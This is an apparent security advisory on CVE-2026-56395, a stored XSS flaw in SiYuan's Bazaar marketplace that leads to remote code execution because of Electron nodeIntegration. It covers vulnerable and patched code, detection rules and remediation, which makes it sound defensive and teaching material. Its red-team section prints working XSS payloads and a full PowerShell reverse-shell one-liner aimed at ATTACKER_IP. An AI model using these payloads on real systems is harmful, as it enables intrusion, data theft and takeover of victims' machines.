CVE-2026-56395

Executive Summary

CVE-2026-56395 is a critical vulnerability in SiYuan, an open-source knowledge management and note-taking application. The flaw resides in the Bazaar marketplace, where package metadata (displayName, description) and README content are not sanitized. An attacker can publish a malicious package containing XSS payloads in these fields. When a user browses the Bazaar, the payload executes within the Electron application context, which has nodeIntegration enabled. This allows the attacker to achieve full remote code execution (RCE) on the victim's system by executing arbitrary OS commands.

Supply Chain & Package Security

This vulnerability directly impacts the SiYuan Bazaar, which functions as a package marketplace. An attacker can inject malicious code into package metadata, turning the supply chain mechanism into an attack vector. Any user browsing the Bazaar is at risk, regardless of whether they install the malicious package. This highlights a critical failure in input validation and content security policy enforcement within the application's package ecosystem.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): Required (R) - The victim must browse the Bazaar.
• Scope (S): Changed (C) - The vulnerable component (Bazaar) impacts the broader system (OS).
• Confidentiality (C): High (H) - Full data access possible.
• Integrity (I): High (H) - Full system modification possible.
• Availability (A): High (H) - Full system disruption possible.

Threat Level: Critical. The combination of low complexity, no privileges, and RCE via a simple browse action makes this highly dangerous.

Deep Dive & Mechanics

The vulnerability exploits the Electron framework's default security settings. SiYuan runs as an Electron application, and the Bazaar is rendered using a web view. The key weakness is that nodeIntegration is enabled, meaning JavaScript running in the renderer process has direct access to Node.js APIs (e.g., require('child_process')).

1. Attack Vector: An attacker creates a package on the Bazaar. In the displayName, description, or README fields, they embed a payload like:

   <img src=x onerror="require('child_process').exec('calc.exe')">
   

2. Trigger: When a victim navigates to the Bazaar page, the application fetches and renders the package list. The unsanitized HTML is injected into the DOM.
3. Execution: The browser engine parses the malicious HTML. The onerror event fires, executing the JavaScript.
4. RCE: Because nodeIntegration is enabled, require('child_process') is available. The attacker can execute any OS command, such as launching a reverse shell, exfiltrating data, or installing malware.

Vulnerable vs. Patched Code

Vulnerable (SiYuan < 3.6.1): The Bazaar component directly renders user-supplied fields without sanitization.

// Vulnerable: Directly setting innerHTML
function renderPackage(pkg) {
    const card = document.createElement('div');
    card.innerHTML = `<h3>${pkg.displayName}</h3><p>${pkg.description}</p>`;
    document.getElementById('bazaar').appendChild(card);
}

Patched (SiYuan >= 3.6.1): The patched version sanitizes all user-supplied fields before rendering, stripping out HTML tags and JavaScript.

// Patched: Using textContent to prevent XSS
function renderPackage(pkg) {
    const card = document.createElement('div');
    const title = document.createElement('h3');
    title.textContent = pkg.displayName;
    const desc = document.createElement('p');
    desc.textContent = pkg.description;
    card.appendChild(title);
    card.appendChild(desc);
    document.getElementById('bazaar').appendChild(card);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install SiYuan version 3.6.0 on a test VM.
2. Set up a local Bazaar instance or use the public one.
3. Create a malicious package with the following payload in the displayName field:

   <img src=x onerror="require('child_process').exec('cmd.exe /c calc.exe')">
   

4. Publish the package.
5. As the victim, browse the Bazaar. The calculator will launch on the victim's machine.

Advanced Payload (Reverse Shell):

<img src=x onerror="require('child_process').exec('powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"')">

Blue Team

Detection:

• Monitor for unusual child processes spawned by SiYuan.exe or electron.exe.
• Look for network connections from the SiYuan process to unknown IPs on high ports (e.g., 4444).
• Inspect Bazaar package metadata for HTML tags or JavaScript patterns.

Hunting:

• Search logs for SiYuan.exe spawning cmd.exe, powershell.exe, or wscript.exe.
• Use Sysmon Event ID 1 (Process Creation) to detect anomalous parent-child relationships.

Indicators of Compromise (IOCs)

• Network: Outbound connections from SiYuan.exe to attacker-controlled IPs on ports 80, 443, or custom high ports.
• File System: Presence of malicious packages in the Bazaar cache directory (e.g., %APPDATA%\SiYuan\bazaar\cache\).
• Process: SiYuan.exe spawning cmd.exe, powershell.exe, calc.exe, or other unexpected binaries.
• Registry (Windows): Persistence mechanisms added by the attacker (e.g., HKCU\Software\Microsoft\Windows\CurrentVersion\Run).

Detection Engineering

YARA Rule

rule SiYuan_Bazaar_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting SiYuan Bazaar"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-56395"
    strings:
        $xss1 = /<[^>]*onerror\s*=\s*["']?require\(['"]child_process['"]\)/
        $xss2 = /<[^>]*onload\s*=\s*["']?require\(['"]child_process['"]\)/
        $xss3 = /<[^>]*onclick\s*=\s*["']?require\(['"]child_process['"]\)/
    condition:
        any of them
}

Sigma Rule

title: SiYuan Bazaar XSS to RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects child processes spawned by SiYuan.exe indicative of RCE via Bazaar XSS
author: Valters IT
date: 2026-01-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\SiYuan.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\calc.exe'
    condition: selection
falsepositives:
    - Legitimate use of terminal within SiYuan (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"SiYuan Bazaar XSS Payload in Package Metadata"; flow:to_server; content:"displayName"; nocase; content:"<img"; distance:0; content:"onerror"; distance:0; content:"require"; distance:0; content:"child_process"; distance:0; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade SiYuan to version 3.6.1 or later.
2. Configuration: If upgrading is not possible, disable the Bazaar feature or block access to it via a web proxy.
3. Code Review: Ensure all user-supplied content in the application is sanitized using a library like DOMPurify.
4. Electron Security: Disable nodeIntegration in the renderer process and use contextIsolation: true with a preload script to expose only necessary APIs.
5. Monitoring: Implement the provided detection rules to identify exploitation attempts.

Valters IT
Securing Digital Frontiers